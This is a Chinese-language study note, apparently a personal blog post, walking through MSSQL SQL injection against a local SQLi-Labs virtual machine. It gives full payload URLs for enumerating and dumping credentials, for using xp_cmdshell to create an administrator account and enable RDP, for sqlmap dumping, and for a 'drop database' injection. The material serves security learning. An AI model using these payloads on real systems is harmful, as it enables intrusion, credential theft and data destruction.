【SQL注入】之MSSQL注入
(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
该笔记参考网络中的文章,本文仅为了学习交流,严禁非法使用!!!
一、MSSQL手工注入
- 测试使用Windows Server 2008 R2 中使用IIS搭建的MSSQL-SQLi-Labs站点的第一关(该站点可在Github中找到)
攻击者:Windows 10系统(宿主机)
靶机:Windows Server 2008 R2(虚拟机)
1.判断注入点:
http://IP:PORT/less-1.asp?id=\'
- 根据回显可知数据类型为字符型
http://IP:PORT/less-1.asp?id=1\'--
- 正常执行
2.判断数据库类型
1 select * from sysobjects 2 sysobjects:MSSQL数据库特有的数据表,系统对象表,保存当前数据库的对象 3 select * from users where id=1 and exists(select * from sysobjects) 4 Exists():子语句查询,Exists方法返回一个布尔值,该布尔值指示在 Dictionary 对象中是否存在指定的 key,如果存在,返回 true,否则返回 false
http://IP:PORT/less-1.asp?id=5\' and exists(select * from sysobjects)--
- 正常执行,说明后台数据库是MSSQL
-
其他方法判断数据库:常用框架组合方法ASP+MSSQL、页面报错信息
3.注入点权限的判断(根据页面显示效果)
1 select is_srvrolemember(\'sysadmin\'); 判断当前是否为sa 2 select is_srvrolemember(\'db_owner\'); 判断当前用户写文件、读文件的权限(db_owner) 3 select is_srvrolemember(\'public\'); 判断是否有public权限,可以爆破表
- 以上正确执行后返回值都为1
- 判断当前是否为sa
1 http://IP:PORT/less-1.asp?id=5\' and exists(select is_srvrolemember(\'sysadmin\'))-- 2 或http://IP:PORT/less-1.asp?id=5\' and (select is_srvrolemember(\'sysadmin\'))>0--
- 判断当前用户写文件、读文件的权限
http://IP:PORT/less-1.asp?id=5\' and (select is_srvrolemember(\'db_owner\'))>0--
4.信息收集
- 查看当前数据库
1 select db_name(N) 表示当前数据库,其中的参数表示第N个数据库,从0开始 2 http://IP:PORT/less-1.asp?id=5\' and (select db_name())>0-- 3 或http://IP:PORT/less-1.asp?id=5\' and (convert(int,db_name()))>0-- 4 convert转换,将db_name()的数据类型转换为int型
- 查看所有数据库
- 方法1:
http://IP:PORT/less-1.asp?id=5\' and (convert(int,db_name(N)))>0--//变换N的值就可以爆出所有数据库的名称
-
- 方法2:
1 SELECT top 1 Name FROM Master..SysDatabases where name not in (\'master\',\'aspcms\'); 2 Master系统数据库 3 SELECT top 1 Name FROM Master..SysDatabases 在系统数据库中能够查询所有的数据库 4 where name not in (\'master\',\'aspcms\') 表示查询的结果不在括号中的集合里 5 http://IP:PORT/less-1.asp?id=5\' and (SELECT top 1 Name FROM Master..SysDatabases)>0--
http://IP:PORT/less-1.asp?id=5\' and (SELECT top 1 Name FROM Master..SysDatabases where name not in (\'master\'))>0-- 可依次添加每次爆出的数据就可以报错所有数据库
- 查看数据库版本
1 select @@version 2 http://IP:PORT/less-1.asp?id=5\' and (select @@version)>0-- 3 或http://IP:PORT/less-1.asp?id=5\' and (select @@version)=1--
- 查看当前用户
1 user 2 http://IP:PORT/less-1.asp?id=5\' and (user)>0--
-
这里的用户dbo就等于databaseown,即sa用户
5.当前数据库中的表
1 select top 1 name from 当前数据库.sys.all_objects where type=\'U\' AND is_ms_shipped=0 2 select top 1 name from test.sys.all_objects where type=\'U\' AND is_ms_shipped=0 获取第一个表名 3 http://IP:PORT/less-1.asp?id=5\' and (select top 1 name from test.sys.all_objects where type=\'U\' AND is_ms_shipped=0)>0--
1 select top 1 name from aspcms.sys.all_objects where type=\'U\' AND is_ms_shipped=0 and name not in (\'emails\',\'uagents\') 2 http://IP:PORT/less-1.asp?id=5\' and (select top 1 name from test.sys.all_objects where type=\'U\' AND is_ms_shipped=0 and name not in (\'emails\'))>0--
6.获取指定表中的字段名
1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=\'users\' 2 http://IP:PORT/less-1.asp?id=5\' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=\'users\')>0--
1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=\'users\' and COLUMN_NAME not in (\'id\',\'username\') 2 http://IP:PORT/less-1.asp?id=5\' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=\'users\' and COLUMN_NAME not in (\'id\',\'username\'))>0--
7.获取字段数据
1 select top 1 username from users 2 http://IP:PORT/less-1.asp?id=5\' and (select top 1 username from users)>0--
http://IP:PORT/less-1.asp?id=5\' and (select top 1 password from users)>0--
8.解密数据,登录后台
二、使用MSSQL的xp_cmdshell扩展
xp_cmdshell 扩展:存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出
1.判断当前MSSQL数据库有没有xp_cmdshell扩展,返回值为1,表示有扩展
select count(*) FROM master. dbo.sysobjects Where xtype =\'X\' AND name = \'xp_cmdshell\'
2.测试是否可执行系统命令
1 exec master..xp_cmdshell \'net user\' 2 exec master.dbo.xp_cmdshell \'net user\' 3 exec表示要执行系统命令
- 上图显示的错误解决方法:
- 执行以下语句
1 EXEC sp_configure \'show advanced options\', 1; 2 RECONFIGURE; 3 EXEC sp_configure \'xp_cmdshell\', 1; 4 RECONFIGURE;
-
- 代码功能:
|
EXEC sp_configure \'show advanced options\' , 1 sp_configure 是修改系统配置的存储过程,当设置 show advanced options 参数为 1 时,才允许修改系统配置中的某些高级选相!!系统中这些高级选项默认是不允许修改的!(\'xp_cmdshell\' 是高级选项参数之一! ) RECONFIGURE 提交第一步操作并更新使用 sp_configure 系统存储过程更改的配置选项的当前配置 EXEC sp_configure \'xp_cmdshell\' ,1 执行系统存储过程 修改 高级选项 参数\'xp_cmdshell\' 等于1,这个参数等于1 表示允许sqlserver 调用数据库之外的操作系统命令 RECONFIGURE 提交更新第三步的操作 |
- 代码成功执行
三、利用MSSQL的xp_cmdshell扩展获取服务器权限
1.判断当前MSSQL数据库有没有xp_cmdshell扩展
1 http://IP:PORT/less-1.asp?id=5\' and (select count(*) FROM master. dbo.sysobjects Where xtype =\'X\' AND name = \'xp_cmdshell\')>0--
2.利用xp_cmdshell扩展执行系统命令
1 exec master..xp_cmdshell \'net user\' exec需要独立使用,利用堆叠注入 2 http://IP:PORT/less-1.asp?id=5\';exec master..xp_cmdshell \'net user\'--
- 命令执行之后在浏览器中是没有正常回显的,这里只要没有报错,就说明命令执行成功,如果想看到执行命令之后的结果,需要创建一个临时表,将执行结果写入,最后再读
3.创建一个新用户kiko
http://IP:PORT/less-1.asp?id=5\';exec master..xp_cmdshell \'net user kiko 密码 /add\'--
- 进入靶机系统中,查看创建用户是否成功
4.将用户kiko添加到管理员组中
http://IP:PORT/less-1.asp?id=5\';exec master..xp_cmdshell \'net localgroup administrators kiko /add\'--
- 进入靶机中,命令执行成功
5.开启靶机3389端口
http://IP:PORT/less-1.asp?id=5\';exec master..xp_cmdshell \'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f\'--
6.启动远程桌面连接,过程如下:
- 连接成功!
四、使用SQLMAP对MSSQL注入漏洞进行利用
- 测试使用MSSQL-SQLi-Labs站点的第二关
1.检测注入点
1 sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" 2 --drop-set-cookie 忽略响应的Set – Cookie头信息
- 翻译:
|
you have not declared cookie(s), while server wants to set its own (\'ASPSESSIONIDACCBASBD=DONJPCHBLHK...DHGDOIMHLL\'). Do you want to use those [Y/n] y 您尚未声明cookie,而服务器希望设置自己的cookie(\'aspsessionidaccbasbd=donjpchblhk…dhgdoimhl\')。你想用那些吗 are you sure that you want to continue with further target testing? [Y/n] y 是否确实要继续进行进一步的目标测试?[是/否]是 it looks like the back-end DBMS is \'Microsoft SQL Server\'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y 看起来后端DBMS是“Microsoft SQL Server”。是否要跳过特定于其他dbms的测试有效负载?[是/否]是 for the remaining tests, do you want to include all tests for \'Microsoft SQL Server\' extending provided level (1) and risk (1) values? [Y/n] y 对于其余的测试,是否要包括对扩展提供的级别(1)和风险(1)值的“Microsoft SQL Server”的所有测试[是/否]是 GET parameter \'id\' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y 获取参数“id”易受攻击。你想继续测试其他的(如果有的话)吗?[是/否]是 |
2.获取数据库所有信息
sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump 将数据库里所有的数据全部显示
- 翻译:
|
[00:27:45] [WARNING] in case of table dumping problems (e.g. column entry order) you are advised to rerun with \'--force-pivoting\' [00:27:45][WARNING]如果出现表转储问题(例如列输入顺序),建议您使用“--force pivoting”重新运行 |
- 根据回显得知出现表转储问题,所以数据表users中显示数据为空
- 根据提示在命令后加入--force pivoting
sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump --force-pivoting
五、利用SQLMAP进行内联注入
1.内联注入:向查询注入一些SQL代码后,原来的查询仍然会全部执行
1 select id from (select 1 as id)a; 2 select * from T1,T3 where T1.userid=T3.userid
2.利用过程:
- 使用SQLMAP进行注入点检测时,结果显示可以使用内联注入(inline query),并给了Payload
- 利用所给Payload进行注入
http://IP:PORT/less-2.asp?id=(select char(113)+char(113)+char(112)+char(112)+char(113)+(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113))
- 在MSSQL中执行该Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113)
- 在MySQL中执行该Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113);
select * from dvwa.users where user_id=1 and (select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113));
六、利用SQLMAP进行堆叠注入
1.堆叠注入:将一堆SQL语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行
select * from news;select 1,2,3,4,user(),version();
2.利用过程:
- 使用SQLMAP进行注入点检测时,结果显示可以使用堆叠注入(stacked queries),并给了Payload
- 利用所给Payload进行注入
http://IP:PORT/less-2.asp?id=1 WAITFOR DELAY \'0:0:5\'
- 慎用如下所示命令
http://IP:PORT/less-2.asp?id=1;drop database 数据库名 删除数据库